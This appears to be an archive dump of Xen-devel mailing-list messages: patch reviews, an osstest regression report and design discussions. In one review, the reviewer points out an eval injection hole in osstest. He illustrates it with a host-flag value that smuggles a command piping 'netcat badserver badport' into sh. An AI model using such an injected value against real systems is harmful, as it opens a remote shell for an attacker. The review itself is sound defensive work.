> In case we want to be able to use some of the topology information this
> would mean we'd have two different mechanisms to either disable all
> topology usage or only parts of it. I'd rather have a way to specify
> which levels of the topology information (numa nodes, cache siblings,
> core siblings) are to be used. Using none is just one possibility with
> all levels disabled.
> 
I agree, indeed, acting on has_mp seems overkill/not ideal to me too
(I'm not even sure I fully understand how it's used in
set_cpu_sibling_map()... I'll dig more).

However...

> >>
> >>> Also, it seems to me that Xen guests would not be the only ones having
> >>> to deal with topology inconsistencies due to migrating VCPUs. Don't KVM
> >>> guests, for example, have the same problem? And if yes, perhaps we
> >>> should try solving it in non-Xen-specific way (especially given that
> >>> both of those patches look pretty simple and thus are presumably easy to
> >>> integrate into common code).
> >>
> >> Indeed. I'll have a try.
> >>
...yes, this is an interesting point, and it's worth try looking at how
to implement things that way.

Thanks and Regards,
Dario
-- 
<> (Raistlin Majere)
-
Dario Faggioli, Ph.D, http://about.me/dario.faggioli
Senior Software Engineer, Citrix Systems R Ltd., Cambridge (UK)


signature.asc
Description: This is a digitally signed message part
___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [xen-4.4-testing test] 61925: regressions - FAIL

[osstest service owner]

flight 61925 xen-4.4-testing real [real]
http://logs.test-lab.xenproject.org/osstest/logs/61925/

Regressions :-(

Tests which did not succeed and are blocking,
including tests which could not be run:
 test-amd64-i386-xl-qcow2  9 debian-di-install fail REGR. vs. 60727
 test-amd64-i386-xl-raw9 debian-di-install fail REGR. vs. 60727
 test-amd64-amd64-xl-qemuu-debianhvm-amd64 19 guest-start/debianhvm.repeat fail 
REGR. vs. 60727
 test-amd64-i386-xl-qemuu-win7-amd64 16 guest-localmigrate/x10 fail REGR. vs. 
60727

Regressions which are regarded as allowable (not blocking):
 test-amd64-i386-libvirt-vhd   9 debian-di-install fail REGR. vs. 60727
 test-amd64-amd64-libvirt-vhd  9 debian-di-install fail REGR. vs. 60727
 test-amd64-amd64-libvirt-raw  9 debian-di-install fail REGR. vs. 60727
 test-armhf-armhf-xl-multivcpu 16 guest-start/debian.repeatfail  like 60696
 test-amd64-amd64-xl-qemuu-win7-amd64 16 guest-localmigrate/x10 fail like 60696
 test-amd64-i386-xl-vhd9 debian-di-installfail   like 60727
 test-amd64-i386-libvirt-qcow2  9 debian-di-installfail  like 60727
 test-amd64-amd64-xl-vhd   9 debian-di-installfail   like 60727
 test-amd64-i386-libvirt  11 guest-start  fail   like 60727
 test-amd64-amd64-libvirt 11 guest-start  fail   like 60727

Tests which did not succeed, but are not blocking:
 test-amd64-amd64-rumpuserxen-amd64  1 build-check(1)   blocked n/a
 test-amd64-amd64-migrupgrade  1 build-check(1)   blocked  n/a
 test-amd64-i386-migrupgrade   1 build-check(1)   blocked  n/a
 test-amd64-i386-rumpuserxen-i386  1 build-check(1)   blocked  n/a
 test-armhf-armhf-libvirt-qcow2  9 debian-di-installfail never pass
 test-armhf-armhf-xl-qcow2 9 debian-di-installfail   never pass
 test-armhf-armhf-libvirt-vhd  9 debian-di-installfail   never pass
 build-amd64-rumpuserxen   6 xen-buildfail   never pass
 build-i386-rumpuserxen6 xen-buildfail   never pass
 test-armhf-armhf-libvirt-raw  9 debian-di-installfail   never pass
 test-amd64-amd64-xl-qcow2 9 debian-di-installfail   never pass
 build-i386-prev   5 xen-buildfail   never pass
 build-amd64-prev  5 xen-buildfail   never pass
 test-armhf-armhf-xl-vhd   9 debian-di-installfail   never pass
 test-armhf-armhf-xl-raw   9 debian-di-installfail   never pass
 test-armhf-armhf-xl-multivcpu 13 saverestore-support-checkfail  never pass
 test-armhf-armhf-xl-multivcpu 12 migrate-support-checkfail  never pass
 test-armhf-armhf-libvirt 11 guest-start  fail   never pass
 test-armhf-armhf-xl-arndale  12 migrate-support-checkfail   never pass
 test-armhf-armhf-xl-arndale  13 saverestore-support-checkfail   never pass
 test-amd64-i386-libvirt-pair 21 guest-migrate/src_host/dst_host fail never pass
 test-amd64-amd64-libvirt-pair 21 guest-migrate/src_host/dst_host fail never 
pass
 test-amd64-amd64-libvirt-qcow2 11 migrate-support-checkfail never pass
 test-armhf-armhf-xl-credit2  13 saverestore-support-checkfail   never pass
 test-armhf-armhf-xl-credit2  12 migrate-support-checkfail   never pass
 test-armhf-armhf-xl-cubietruck 12 migrate-support-checkfail never pass
 test-armhf-armhf-xl-cubietruck 13 saverestore-support-checkfail never pass
 test-amd64-i386-libvirt-raw  11 migrate-support-checkfail   never pass
 test-amd64-i386-xl-qemut-win7-amd64 17 guest-stop  fail never pass
 test-amd64-amd64-xl-qemut-win7-amd64 17 guest-stop fail never pass
 test-amd64-i386-xend-qemut-winxpsp3 21 leak-check/checkfail never pass
 test-armhf-armhf-xl  12 migrate-support-checkfail   never pass
 test-armhf-armhf-xl  13 saverestore-support-checkfail   never pass

version targeted for testing:
 xen  213e243819ba5f72e13afad41ce2f5df17715530
baseline version:
 xen  3646b134c1673f09c0a239de10b0da4c9265c8e8

Last test of basis60727  2015-08-16 16:15:09 Z   30 days
Failing since 60802  2015-08-20 14:41:37 Z   26 days   12 attempts
Testing same since61925  2015-09-13 09:30:54 Z2 days1 attempts


People who touched revisions under test:
  Andrew Cooper 
  Anshul Makkar 
  Aravind Gopalakrishnan 
  Gerd Hoffmann 
  Ian Campbell 
  Ian Jackson 
  Jan Beulich 
  Jim Fehlig 
  Julien Grall 
  Peter Lieven 
  Roger Pau Monné 

Re: [Xen-devel] [PATCH 1/4] libxl: convert to use LOG() macro

[Ian Jackson]

Andrew Cooper writes ("Re: [Xen-devel] [PATCH 1/4] libxl: convert to use LOG() 
macro"):
> There are a number of entries like this where the number of lines could
> be reduced.

Indeed, but that's IMO no reason to block this patch which is a big
improvement.

> > -if (ret==0 || xcinfo.domain != domid) return ERROR_DOMAIN_NOTFOUND;
> > +if (ret==0 || xcinfo.domain != domid) {
> > +   GC_FREE;
> > +return ERROR_DOMAIN_NOTFOUND;
> > +}
> 
> Alignment.

Well spotted.  Thanks for your careful review.

Wei, you should retain my ack when you fix this.

Ian.

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH 0/4] libxl: use LOG() macro where appropriate

[Ian Jackson]

Ian Campbell writes ("Re: [PATCH 0/4] libxl: use LOG() macro where 
appropriate"):
> In terms of applying it seems like the sort of thing which would cause a
> lot of pain for backports to 4.6. Shall we hold off or do we think the
> inflow of backports has slowed sufficiently now?

I would like to wait for the release or maybe a very late RC.

Ian.

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH OSSTEST 1/4] ts-hosts-allocate-Executive: Allow dry-run

[Ian Jackson]

Ian Campbell writes ("[PATCH OSSTEST 1/4] ts-hosts-allocate-Executive: Allow 
dry-run"):
> Provide a new -n command line option which causes no allocations to be
> done, for debugging.

Acked-by: Ian Jackson 

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH OSSTEST 3/4] Add support for selecting resources based on their properties.

[Ian Jackson]

Ian Campbell writes ("[PATCH OSSTEST 3/4] Add support for selecting resources 
based on their properties."):
> In particular for allocating hosts based on host properties.
> 
> To do this we extend the hostflags syntax with "condition:arg1:arg2".
> This specifies that the candidate host must pass the condition given
> the arguments.

This looks pretty good.

> +package Osstest::ResourceCondition::PropMinVer;
...
> +sub new {
> +my ($class, $name, $prop, $val) = @_;
> +return bless {
> + Prop => propname_massage($prop),

You can probably skip this propname_massage too, and require the new
actual flag settings to use the CamelCase naming.

I think this function should check the length of @_ so as to reject
invocations with the wrong number of :-delimited values.  (This is not
in general true of the various host access methods which arguably
ought to tolerate additional expansion arguments, so it wasn't in the
code you were cribbing.)

> +sub stringify {
> +my ($pmv) = @_;
> +return "$pmv->{MinVal} >= property $pmv->{Prop}";
^
Maybe add `(version)' or `(v)' ?

> +# If the required minimum is >= to the resource's minimum then the

You don't mean the `required minimum'.  It's the `maximum minimum'.
(In fact in the Linux kernel example it is going to be the _actual_.)

> diff --git a/ts-hosts-allocate-Executive b/ts-hosts-allocate-Executive
> index 294395d..345ffeb 100755
...
> +} elsif ($flag =~ m/:/) {

Can we have   $flag =~ m/^\w+:   ?

That way we can invent new syntaxes (or even flags) which have `:'
further right, without ambiguity.

This will also avoid excitement here ...

> + my (@c) = split /:/, $flag;
> + my $o;
> + eval ("use Osstest::ResourceCondition::$c[0];".
> +   "\$o = Osstest::ResourceCondition::$c[0]->new(\@c);")

... if I specify

  all_hostflags='PropMinVer; system "netcat badserver badport | sh";:ha:ha'

> + or die "get ResourceCondition $@";
> +
> + push @{$hid->{Conds}{host}}, $o;

I normally like to put some spaces inside the @{ } in this kind of
thing.

Ian.

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [libvirt] [PATCH] libxl: open libxl log stream with libvirtd log_level

[Jim Fehlig]

Daniel P. Berrange wrote:
> On Tue, Sep 15, 2015 at 10:57:50AM -0600, Jim Fehlig wrote:
>   
>> Daniel P. Berrange wrote:
>> 
>>> On Tue, Sep 15, 2015 at 09:26:23AM -0600, Jim Fehlig wrote:
>>>   
>>>   
 Instead of a hardcoded DEBUG log level, use the overall
 daemon log level specified in libvirtd.conf when opening
 a log stream with libxl. libxl is very verbose when DEBUG
 log level is set, resulting in huge log files that can
 potentially fill a disk. Control of libxl verbosity should
 be placed in the administrator's hands.

 Signed-off-by: Jim Fehlig 
 ---
  src/libxl/libxl_conf.c | 18 +-
  1 file changed, 17 insertions(+), 1 deletion(-)
 
 
>>> ACK, this makes sense as default behaviour. As a future enhancement
>>> you might also consider supporting a config setting in 
>>> /etc/libvirt/libxl.conf
>>> to explicitly control the libxl library logging behaviour independantly.
>>>   
>>>   
>> I had actually thought of adding it there first, but then took this
>> approach assuming it would be more receptive upstream :-). Personally,
>> I'm on the fence. I like the idea of a single knob to control log level
>> throughout the daemon, making it a bit easier on admins. On the other
>> hand, individual knobs are more friendly to those pouring through logs.
>> I can add a knob in libxl.conf if preferred.
>> 
>
> After thinking about it some more, I could actually see value in
> create a dedicated virLogSource() instance, solely for libxl
> library messages. If we then created a virLogSourceGetPriority()
> method, you could query that to see if to turn on logging for
> the libxl library. That would ultimately allow you to turn on
> debug for just the libxl library if desired, eg
>
>  static virLogSource virLogLibXL = {
>  .name = "libxl.libxl_library",
>  
>  }
>
> LIBVIRT_LOG_FILTERS="1:libxl_library"
>   

Ah, good idea. I'll look into it.

> Regardless we should just merge your current patch right now.
>   

Thanks; done now.

Regards,
Jim


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH] xsplice: Use ld-embedded build-ids

[Konrad Rzeszutek Wilk]

On Fri, Aug 14, 2015 at 9:57 AM, Martin Pohlack  wrote:
> On 14.08.2015 15:54, Jan Beulich wrote:
> On 14.08.15 at 14:59,  wrote:
>>> On 11.08.2015 16:12, Jan Beulich wrote:
>>> On 05.08.15 at 16:09,  wrote:
> Todo:
>   * Should be moved to sysctl to only allow Dom0 access

 Because of?
>>>
>>> The discussion in this thread:
>>>
>>> [Xen-devel] [RFC PATCH v3.1 2/2] xsplice: Add hook for build_id
>>>
>>> was:
>>> --
> Martin Pohlack:
> We should not expose the build_id to normal guests, but only to Dom0.
>
> A build_id uniquely identifies a specific build and I don't see how that
> information would be required from DomU.  It might actually help an
> attacker to build his return-oriented programming exploit against a
> specific build.
>
> The normal version numbers should be enough to know about capabilities
> and API.

 Andrew Cooper:

 It will need its own XSM hook, but need not be strictly limited to just
 dom0.
>>> --
>>
>> So I'm confused - I asked "why Dom0 only" and then you point me to
>> Andrew saying it doesn't need to be Dom0 only?
>
> Sorry about that, my (not expressed) thinking was that we should
> restrict that to Dom0 for the XSM-disabled case.
>

That may make this more complex.

If we want to restrict it to this we may as well just stick this in sysctl
and have it be part of the xsplice ops.

Let me do that.

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [Patch V1 2/3] xen/usb: add capability for passing through isoc jobs to host devices

[Konrad Rzeszutek Wilk]

On Thu, Sep 03, 2015 at 12:45:12PM +0200, Juergen Gross wrote:
> When Xen is using the qemu usb framework for pure passthrough of I/Os
> to host devices the handling of isoc jobs is rather complicated if
> multiple isoc frames are transferred with one call.
> 
> Instead of calling the framework with each frame individually, using
> timers to avoid polling in a loop and sampling all responses to
> construct a sum response for the user, just add a capability to
> use the libusb isoc framework instead. This capability is selected
> via a device specific property.
> 
> When the property is selected the host usb driver will use xen specific

You mean it will use generic callbacks - but call Xen specific code?

> callbacks to signal the end of isoc I/Os. For now these callbacks will
> just be nops, they'll be filled with sensible actions when the xen
> pv-usb backend is being added.

The PV USB backend being in the QEMU driver?

But this patch by itself will avoid some complex code right?
> 
> Signed-off-by: Juergen Gross 
> ---
>  hw/usb/core.c| 11 ++
>  hw/usb/host-libusb.c | 51 
> ++--
>  include/hw/xen/xen_backend.h |  3 +++
>  3 files changed, 55 insertions(+), 10 deletions(-)
> 
> diff --git a/hw/usb/core.c b/hw/usb/core.c
> index cf34755..ed2255c 100644
> --- a/hw/usb/core.c
> +++ b/hw/usb/core.c
> @@ -427,10 +427,13 @@ void usb_handle_packet(USBDevice *dev, USBPacket *p)
>  if (QTAILQ_EMPTY(>ep->queue) || p->ep->pipeline || p->stream) {
>  usb_process_one(p);
>  if (p->status == USB_RET_ASYNC) {
> -/* hcd drivers cannot handle async for isoc */
> -assert(p->ep->type != USB_ENDPOINT_XFER_ISOC);
> -/* using async for interrupt packets breaks migration */
> -assert(p->ep->type != USB_ENDPOINT_XFER_INT ||
> +/*
> + * hcd drivers cannot handle async for isoc.
> + * Using async for interrupt packets breaks migration.
> + * Host devices are okay in any case.
> + */
> +assert((p->ep->type != USB_ENDPOINT_XFER_ISOC &&
> +p->ep->type != USB_ENDPOINT_XFER_INT) ||
> (dev->flags & (1 << USB_DEV_FLAG_IS_HOST)));
>  usb_packet_set_state(p, USB_PACKET_ASYNC);
>  QTAILQ_INSERT_TAIL(>ep->queue, p, queue);
> diff --git a/hw/usb/host-libusb.c b/hw/usb/host-libusb.c
> index a5f9dab..ce644c3 100644
> --- a/hw/usb/host-libusb.c
> +++ b/hw/usb/host-libusb.c
> @@ -42,6 +42,7 @@
>  #include "trace.h"
>  
>  #include "hw/usb.h"
> +#include "hw/xen/xen_backend.h"
>  
>  /*  
> */
>  
> @@ -64,6 +65,7 @@ struct USBAutoFilter {
>  
>  enum USBHostDeviceOptions {
>  USB_HOST_OPT_PIPELINE,
> +USB_HOST_XEN_ISO_PASSTHROUGH,
>  };
>  
>  struct USBHostDevice {
> @@ -152,6 +154,7 @@ static void usb_host_attach_kernel(USBHostDevice *s);
>  #define CONTROL_TIMEOUT  1/* 10 sec*/
>  #define BULK_TIMEOUT 0/* unlimited */
>  #define INTR_TIMEOUT 0/* unlimited */
> +#define ISO_TIMEOUT  0/* unlimited */
>  
>  #if LIBUSBX_API_VERSION >= 0x01000103
>  # define HAVE_STREAMS 1
> @@ -306,14 +309,14 @@ static bool usb_host_use_combining(USBEndpoint *ep)
>  /*  
> */
>  
>  static USBHostRequest *usb_host_req_alloc(USBHostDevice *s, USBPacket *p,
> -  bool in, size_t bufsize)
> +  bool in, size_t bufsize, int 
> packets)
>  {
>  USBHostRequest *r = g_new0(USBHostRequest, 1);
>  
>  r->host = s;
>  r->p = p;
>  r->in = in;
> -r->xfer = libusb_alloc_transfer(0);
> +r->xfer = libusb_alloc_transfer(packets);
>  if (bufsize) {
>  r->buffer = g_malloc(bufsize);
>  }
> @@ -376,6 +379,29 @@ out:
>  }
>  }
>  
> +static void usb_host_req_complete_iso_xen(struct libusb_transfer *xfer)
> +{
> +USBHostRequest *r = xfer->user_data;
> +USBHostDevice  *s = r->host;
> +bool disconnect = (xfer->status == LIBUSB_TRANSFER_NO_DEVICE);
> +
> +if (r->p == NULL) {
> +goto out; /* request was canceled */
> +}
> +
> +r->p->status = status_map[xfer->status];
> +trace_usb_host_req_complete(s->bus_num, s->addr, r->p,
> +r->p->status, r->p->actual_length);
> +/* copying of buffer is done in complete callback of xen */
> +usb_packet_complete(USB_DEVICE(s), r->p);
> +
> +out:
> +usb_host_req_free(r);
> +if (disconnect) {
> +usb_host_nodev(s);
> +}
> +}
> +
>  static void usb_host_req_complete_data(struct libusb_transfer *xfer)
>  {
>  USBHostRequest *r = xfer->user_data;
> @@ -1226,7 +1252,7 @@ static void usb_host_handle_control(USBDevice *udev, 
> USBPacket *p,

[Xen-devel] [PATCH 4/4] tools/xen-mceinj: Pass in GPA when injecting through MSR_MCI_ADDR

[Haozhong Zhang]

This patch removes the address translation in xen-mceinj which
translates the guest physical address passed-in through the argument
of '-p' to the host machine address.

Signed-off-by: Haozhong Zhang 
---
 tools/tests/mce-test/tools/xen-mceinj.c | 135 +---
 1 file changed, 19 insertions(+), 116 deletions(-)

diff --git a/tools/tests/mce-test/tools/xen-mceinj.c 
b/tools/tests/mce-test/tools/xen-mceinj.c
index 0c2b640..7b9dd13 100644
--- a/tools/tests/mce-test/tools/xen-mceinj.c
+++ b/tools/tests/mce-test/tools/xen-mceinj.c
@@ -238,7 +238,8 @@ static int add_msr_intpose(xc_interface *xc_handle,
uint32_t cpu_nr,
uint32_t flags,
uint64_t msr,
-   uint64_t val)
+   uint64_t val,
+   domid_t domid)
 {
 uint32_t count;
 
@@ -256,6 +257,8 @@ static int add_msr_intpose(xc_interface *xc_handle,
 msr_inj.mcinj_cpunr = cpu_nr;
 msr_inj.mcinj_flags = flags;
 }
+if ( flags & MC_MSRINJ_F_GPADDR )
+msr_inj.mcinj_domid = domid;
 msr_inj.mcinj_msr[count].reg = msr;
 msr_inj.mcinj_msr[count].value = val;
 msr_inj.mcinj_count++;
@@ -268,105 +271,15 @@ static int add_msr_bank_intpose(xc_interface *xc_handle,
 uint32_t flags,
 uint32_t type,
 uint32_t bank,
-uint64_t val)
+uint64_t val,
+domid_t domid)
 {
 uint64_t msr;
 
 msr = bank_addr(bank, type);
 if ( msr == INVALID_MSR )
 return -1;
-return add_msr_intpose(xc_handle, cpu_nr, flags, msr, val);
-}
-
-#define MCE_INVALID_MFN ~0UL
-#define mfn_valid(_mfn) (_mfn != MCE_INVALID_MFN)
-#define mfn_to_pfn(_mfn) (live_m2p[(_mfn)])
-static uint64_t guest_mfn(xc_interface *xc_handle,
-   uint32_t domain,
-   uint64_t gpfn)
-{
-xen_pfn_t *live_m2p = NULL;
-int ret;
-unsigned long hvirt_start;
-unsigned int pt_levels;
-uint64_t * pfn_buf = NULL;
-unsigned long max_mfn = 0; /* max mfn of the whole machine */
-unsigned long m2p_mfn0;
-unsigned int guest_width;
-long max_gpfn,i;
-uint64_t mfn = MCE_INVALID_MFN;
-
-if ( domain > DOMID_FIRST_RESERVED )
-return MCE_INVALID_MFN;
-
-/* Get max gpfn */
-max_gpfn = do_memory_op(xc_handle, XENMEM_maximum_gpfn, ,
-   sizeof(domain)) + 1;
-if ( max_gpfn <= 0 )
-err(xc_handle, "Failed to get max_gpfn 0x%lx", max_gpfn);
-
-Lprintf("Maxium gpfn for dom %d is 0x%lx", domain, max_gpfn);
-
-/* Get max mfn */
-if ( !get_platform_info(xc_handle, domain,
-_mfn, _start,
-_levels, _width) )
-err(xc_handle, "Failed to get platform information");
-
-/* Get guest's pfn list */
-pfn_buf = calloc(max_gpfn, sizeof(uint64_t));
-if ( !pfn_buf )
-err(xc_handle, "Failed to alloc pfn buf");
-
-ret = xc_get_pfn_list(xc_handle, domain, pfn_buf, max_gpfn);
-if ( ret < 0 ) {
-free(pfn_buf);
-err(xc_handle, "Failed to get pfn list %x", ret);
-}
-
-/* Now get the m2p table */
-live_m2p = xc_map_m2p(xc_handle, max_mfn, PROT_READ, _mfn0);
-if ( !live_m2p )
-err(xc_handle, "Failed to map live M2P table");
-
-/* match the mapping */
-for ( i = 0; i < max_gpfn; i++ )
-{
-uint64_t tmp;
-tmp = pfn_buf[i];
-
-if (mfn_valid(tmp) &&  (mfn_to_pfn(tmp) == gpfn))
-{
-mfn = tmp;
-Lprintf("We get the mfn 0x%lx for this injection", mfn);
-break;
-}
-}
-
-munmap(live_m2p, M2P_SIZE(max_mfn));
-
-free(pfn_buf);
-return mfn;
-}
-
-static uint64_t mca_gpfn_to_mfn(xc_interface *xc_handle,
-uint32_t domain,
-uint64_t gfn)
-{
-uint64_t index;
-long max_gpfn;
-
-/* If domain is xen, means we want pass index directly */
-if ( domain == DOMID_XEN )
-return gfn;
-
-max_gpfn = do_memory_op(xc_handle, XENMEM_maximum_gpfn, ,
-   sizeof(domain)) + 1;
-if ( max_gpfn <= 0 )
-err(xc_handle, "Failed to get max_gpfn 0x%lx", max_gpfn);
-index = gfn % max_gpfn;
-
-return guest_mfn(xc_handle, domain, index);
+return add_msr_intpose(xc_handle, cpu_nr, flags, msr, val, domid);
 }
 
 static int inject_mcg_status(xc_interface *xc_handle,
@@ -374,7 +287,7 @@ static int inject_mcg_status(xc_interface *xc_handle,
  uint64_t val)
 {
 return add_msr_intpose(xc_handle, cpu_nr, MC_MSRINJ_F_INTERPOSE,
-   MSR_IA32_MCG_STATUS, val);
+   

[Xen-devel] [PATCH 2/4] tools/mceinject: Fix code style

[Haozhong Zhang]

Remove trailing spaces in xen-mceinj.c.

Signed-off-by: Haozhong Zhang 
---
 tools/tests/mce-test/tools/xen-mceinj.c | 16 
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/tools/tests/mce-test/tools/xen-mceinj.c 
b/tools/tests/mce-test/tools/xen-mceinj.c
index e2e49cb..0c2b640 100644
--- a/tools/tests/mce-test/tools/xen-mceinj.c
+++ b/tools/tests/mce-test/tools/xen-mceinj.c
@@ -13,7 +13,7 @@
  *
  * You should have received a copy of the GNU General Public License along with
  * this program; If not, see .
- * 
+ *
  * Authors: Yunhong Jiang 
  *  Haicheng Li 
  *  Xudong Hao 
@@ -300,7 +300,7 @@ static uint64_t guest_mfn(xc_interface *xc_handle,
 return MCE_INVALID_MFN;
 
 /* Get max gpfn */
-max_gpfn = do_memory_op(xc_handle, XENMEM_maximum_gpfn, , 
+max_gpfn = do_memory_op(xc_handle, XENMEM_maximum_gpfn, ,
sizeof(domain)) + 1;
 if ( max_gpfn <= 0 )
 err(xc_handle, "Failed to get max_gpfn 0x%lx", max_gpfn);
@@ -360,7 +360,7 @@ static uint64_t mca_gpfn_to_mfn(xc_interface *xc_handle,
 if ( domain == DOMID_XEN )
 return gfn;
 
-max_gpfn = do_memory_op(xc_handle, XENMEM_maximum_gpfn, , 
+max_gpfn = do_memory_op(xc_handle, XENMEM_maximum_gpfn, ,
sizeof(domain)) + 1;
 if ( max_gpfn <= 0 )
 err(xc_handle, "Failed to get max_gpfn 0x%lx", max_gpfn);
@@ -383,7 +383,7 @@ static int inject_mci_status(xc_interface *xc_handle,
  uint64_t val)
 {
 return add_msr_bank_intpose(xc_handle, cpu_nr, MC_MSRINJ_F_INTERPOSE,
-MCi_type_STATUS, bank, val); 
+MCi_type_STATUS, bank, val);
 }
 
 static int inject_mci_misc(xc_interface *xc_handle,
@@ -392,7 +392,7 @@ static int inject_mci_misc(xc_interface *xc_handle,
  uint64_t val)
 {
 return add_msr_bank_intpose(xc_handle, cpu_nr, MC_MSRINJ_F_INTERPOSE,
-MCi_type_MISC, bank, val); 
+MCi_type_MISC, bank, val);
 }
 
 static int inject_mci_addr(xc_interface *xc_handle,
@@ -401,7 +401,7 @@ static int inject_mci_addr(xc_interface *xc_handle,
  uint64_t val)
 {
 return add_msr_bank_intpose(xc_handle, cpu_nr, MC_MSRINJ_F_INTERPOSE,
-MCi_type_ADDR, bank, val); 
+MCi_type_ADDR, bank, val);
 }
 
 static int inject(xc_interface *xc_handle, struct mce_info *mce,
@@ -553,7 +553,7 @@ int main(int argc, char *argv[])
 return 0;
 }
 }
-
+
 if ( domid != DOMID_XEN ) {
 max_gpa = xs_get_dom_mem(domid);
 Lprintf("get domain %d max gpa is: 0x%lx", domid, max_gpa);
@@ -570,7 +570,7 @@ int main(int argc, char *argv[])
 haddr = (mfn << PAGE_SHIFT) | (gaddr & (PAGE_SIZE - 1));
 if ( domid == DOMID_XEN )
 Lprintf("Xen: mfn=0x%lx, haddr=0x%lx", mfn, haddr);
-else 
+else
 Lprintf("Dom%d: gaddr=0x%lx, gpfn=0x%lx, mfn=0x%lx, haddr=0x%lx",
 domid, gaddr, gpfn, mfn, haddr);
 goto out;
-- 
2.4.8


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH 0/4] Fix tools/xen-mceinj to handle >=4GB guest memory

[Haozhong Zhang]

The existing xen-mceinj can not inject MCE through MSR_MCI_ADDR to a
domain w/ more than 4GB memory, e.g. if domain 0 has more than 4GB
memory, the execution of the command
xen-mceinj -d 0 -t 0 -p 0x2721a900
will fail w/ a message "Failed to get pfn list : Operation not
supported".

The cause is that the hypercall XEN_DOMCTL_getmemlist used by
xen-mceinj to translate the guest physical address (argument of '-p')
to the host machine address always fails if the domain has more than
4GB memory due to the mitigation of XSA-74.

This patchset fixes this problem by moving the translation from
xen-mceinj to the hypervisor, so that it is not necessary to use
XEN_DOMCTL_getmemlist.

The first two patches just fix serval code-style issues, while the
other two are the actual fix.

Haozhong Zhang (4):
  x86/mce: Fix code style
  tools/mceinject: Fix code style
  x86/mce: Translate passed-in GPA to host machine address
  tools/xen-mceinj: Pass in GPA when injecting through MSR_MCI_ADDR

 tools/tests/mce-test/tools/xen-mceinj.c | 141 +---
 xen/arch/x86/cpu/mcheck/mce.c   |  43 --
 xen/include/public/arch-x86/xen-mca.h   |  31 +++
 3 files changed, 77 insertions(+), 138 deletions(-)

--
2.4.8


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH] KVM: arm64: add workaround for Cortex-A57 erratum #852523

[Ian Campbell]

On Tue, 2015-09-15 at 00:08 +0100, Julien Grall wrote:
> On 14/09/2015 16:58, Will Deacon wrote:
> > > The Xen ctxt switch code[0] has DACR_EL2 in the midst of it all, and
> > > certainly followed by some sysregs, which I've got my fingers crossed
> > > happens to be sufficient (other than maybe adding a comment).
> > 
> > It looks like you restore CONTEXTIDR_EL1 fairly late, so you should be
> > ok.

Thanks Will.

> It may be worth to have a comment in the code explaining the errata to 
> avoid introduce by inadvertence if we plan to re-order the context
> switch.
> 
> I can send a patch for that.

Yes, please, a comment right before we restore DACR32_EL2 with the list of
register Will gave would be best I think.

> 
> Regards,
> 

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] linux-3.4 broken on chardonnay and huxelrebe (Re: [linux-3.4 test] 61301: regressions - FAIL)

[Ian Campbell]

On Thu, 2015-09-10 at 10:32 +0100, Ian Campbell wrote:
> The Chardonnay case suggests that either something has been backported into
> 3.4.x which has broken things (current real flights, which reliably fail,
> are running on 3.4.108) or that it is simply unreliable (or both). I think
> I need to repeat things a few times to confirm.

It turns out it was unreliable and these results were misleading. I setup
an adhoc job which simply installed Xen and rebooted 5 times and 3.4.x (for
x in increments of 10) failed reliably. In fact the fix wasn't until v3.7
-rc1 and some adhoc runs have fingered 65fe1f0f66a5 "ahci: implement
aggressive SATA device sleep support"[0]. I'm running a few more tests to
confirm but this looks reasonably certain.

That commit is a new feature, so it really shouldn't have the affect of
fixing bugs! I suspect this is something like a dodgy BIOS enabling the h/w
extension, which breaks until the kernel became aware of it and either
disables or explicitly copes with it being there.

Once the confirmation tests have run I will lock the machine and have a
poke around and see what I can see.

I could then take it to the Linux AHCI maintainer but I suspect that a
backport is only a slim possibility, as is someone taking the time to
determine which bit of this feature happened to fix these systems.

IOW I'm thinking that we should apply a minimum kernel version to
chardonnay as well as huxelrebe (once that feature exists).

Ian.

[0] git.kernel.org/torvalds/c/65fe1f0f66a57380229a4ced844188103135f37b


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH 1/4] libxl: convert to use LOG() macro

[Wei Liu]

This patch converts most LIBXL__LOG* macros to LOG macro. It's done with
spatch plus some hand coding.

Using spatch rune:

spatch --in-place --no-includes --include-headers \
--sp-file libxl.spatch \
tools/libxl/libxl*.c

with some exceptions.

libxl_json.c is untouched because the notion of ctx is in fact referring
to yajl context.

libxl_qmp.c is untouched because libxl ctx is buried in qmp context.

libxl_fork.c is untouched because it's clearer to just use original
code.

Some fallouts are dealt with manually. There are three categories.

Functions that don't have gc defined. Add gc definition with GC_INIT.
Also try my best to make them conform with libxl coding style.

 * libxl_list_domain
 * libxl_domain_info
 * libxl_domain_pause
 * libxl_get_physinfo
 * libxl_domain_set_nodeaffinity
 * libxl_domain_get_nodeaffinity
 * libxl_get_scheduler
 * libxl_sched_credit_params_get
 * libxl_sched_credit_params_set
 * libxl_send_debug_keys
 * libxl_xen_console_read_line
 * libxl_tmem_list
 * libxl_tmem_freeze
 * libxl_tmem_thaw
 * libxl_tmem_set
 * libxl_tmem_shared_auth
 * libxl_tmem_freeable
 * libxl_fd_set_cloexec
 * libxl_fd_set_nonblock
 * libxl__init_recursive_mutex
 * READ_WRITE_EXACTLY
 * libxl__ao_complete_check_progress_reports

Functions don't need ctx variable anymore after conversion. Delete that
variable.

 * libxl__device_from_disk
 * domcreate_rebuild_done
 * domcreate_devmodel_started
 * domcreate_attach_pci
 * libxl__domain_device_model
 * libxl__build_device_model_args_new
 * libxl__build_device_model_args
 * libxl__create_pci_backend
 * libxl__device_pci_add_xenstore
 * sysfs_write_bdf
 * sysfs_dev_unbind
 * pciback_dev_has_slot
